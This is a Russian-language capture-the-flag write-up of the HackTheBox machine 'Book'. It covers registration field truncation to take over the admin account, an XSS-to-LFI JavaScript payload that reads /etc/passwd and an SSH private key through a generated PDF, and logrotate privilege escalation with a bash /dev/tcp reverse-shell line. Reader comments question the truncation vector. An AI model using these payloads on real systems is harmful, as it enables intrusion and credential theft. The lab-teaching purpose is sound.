HackTheBox. Прохождение Book. XSS to LFI через PDF и LPE через Logrotate

  • Tutorial

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем XSS to LFI через документ PDF, повышаем привилегии с помощью logrotten, а также посмотрим, почему уязвима регистрация с усечением полей.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.176, который я добавляю в /etc/hosts.

10.10.10.176	book.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A book.htb -p22,80



На хосте работают служба SSH и веб сервер. Начнем с веба. Нас встречает страница авторизации и регистрации.



Зарегистрируемся и войдем.



Сайт представляет собой библиотеку с возможностью добавления книги и контакта с администратором.



В данных полях никакого вектора не наметилось, но зато мы знаем почту администратора. Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php



Таким образом, находим много интересных страниц, в том числе и панель администратора. Далее было принято решение покрутить форму авторизации, и сразу же в исходном коде находим что-то интересное.



То есть имя пользователя не может быть длинной больше 10 символов, а адрес электронной почты — не больше 20. Но проверка происходит только в случае пустых полей, не проверяя длину.

Entry Point


Так скорее всего данные переменные будут урезаны до указанной длины на стороне сервера. Давайте проверим это. Зарегистрируем пользователя, у которого адрес электронной почты будет больше 20 символов.



А потом авторизуемся, с учетом урезанного адреса.





Как можно наблюдать, предположение верно. Давайте зарегистрируемся как “admin@book.htb 123”, а потом войдем как обычный админ.







Данная атака возможна из-за того, что при проверки во время регистрации значение “admin@book.htb 123” отсутствует в базе, после чегго оно усекается и переписывает уже существующее. Осмотримся на сайте и не найдем ничего интересного, кроме коллекции.



Скачав и открыв PDF документы, обнаружим там список зарегистрированных пользователей и коллекции.

USER


Мой опыт подсказывал мне, что когда мы имеем дело с загрузкой информации на сервер и ее отражении в PDF, следует проверить XXS to LFI. Сделать это можно загрузив следующий код.

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 
Зайдем от имени обычного пользователя и добавим в коллекцию файл, указав во всех полях данную нагрузку.



Теперь скачиваем скачиваем файл с коллекцией у администратора, и обнаружим там содержимое файла /etc/passwd.



Давайте прочитаем закрытый SSH ключ пользователя reader, указав в нашей нагрузке файл «file:///home/reader/.ssh/id_rsa».



Но при копировании ключа, он копируется не весь. Откроем данный pdf в браузере, скопируем текст и вставим в обычный текстовый файл, выделив первую и последнюю строку.



Назначим права на данный файл.

chmod 0600 reader.key

И подключаемся по SSH.



ROOT


В домашней директории пользователя есть папка backups.





Мне это ничего не дало. Запусти скрипты базового перечисления системы, тоже ничего интересного не находим. В таком случае смотрим исполняемые задачи с помощью pspy64. И вот тут находим logrotate, запускающийся от имени рута.



Утилита Logrotate предназначена для автоматизации обработки журналов. Она может выполнять с ними необходимые действия в зависимости от определенных условий и правил соответствия. Например, можно сжимать журналы в архив или отправлять на другой сервер когда они достигают определенного размера, возраста, или других параметров. И поиск в гугле сразу что-то дает.





Скачиваем репозиторий и компилируем программу.

gcc -o logrotten logrotten.c

Теперь сделаем файл с реверс шеллом.

echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile

Запустим logrotten, и в другом окне терминала выполним запись в наш файл логов.

./logrotten -p ./payloadfile /home/reader/backups/access.log 



Можем наблюдать, что программа удачно сработала.



Через несколько секунд видим подключение, которое держит несколько секунд. Этого хватит чтобы посмотреть закрытый ключ ssh.



Подключимся с этим ключом и заберем флаг.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 3

    +1

    Как понимаю, регистрация высосано из пальца. Если логин является email, то это поле будет иметь уникальный индекс и перезапись его возможна только через запрос явной замены (replace, upsert и аналоги в nosql) с индексным ключём. Никогда не видел, чтобы хоть где-то была регистрация не через вставку уникальной записи, а через замену. Это бредовый вектор, вероятность такого поведения в реальном приложении равна нулю.
    И к тому же, всё напрямую зависит от БД и экранизации входной строки, пробелы в email сами по себе тоже никуда не удаляются, если там на входных параметрах регулярка обрезает всё до валидного email это ещё возможно, но обычно регулярка проверяет, а не изменяет строку.

        0
        Если логин является email, то это поле будет иметь уникальный индекс и перезапись его возможна только через запрос явной замены (replace, upsert и аналоги в nosql) с индексным ключём.
        Не обязательно. Выборка из базы при логине может происходить без проверки количества записей, которые вернул запрос, и браться только первая.

      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

      Самое читаемое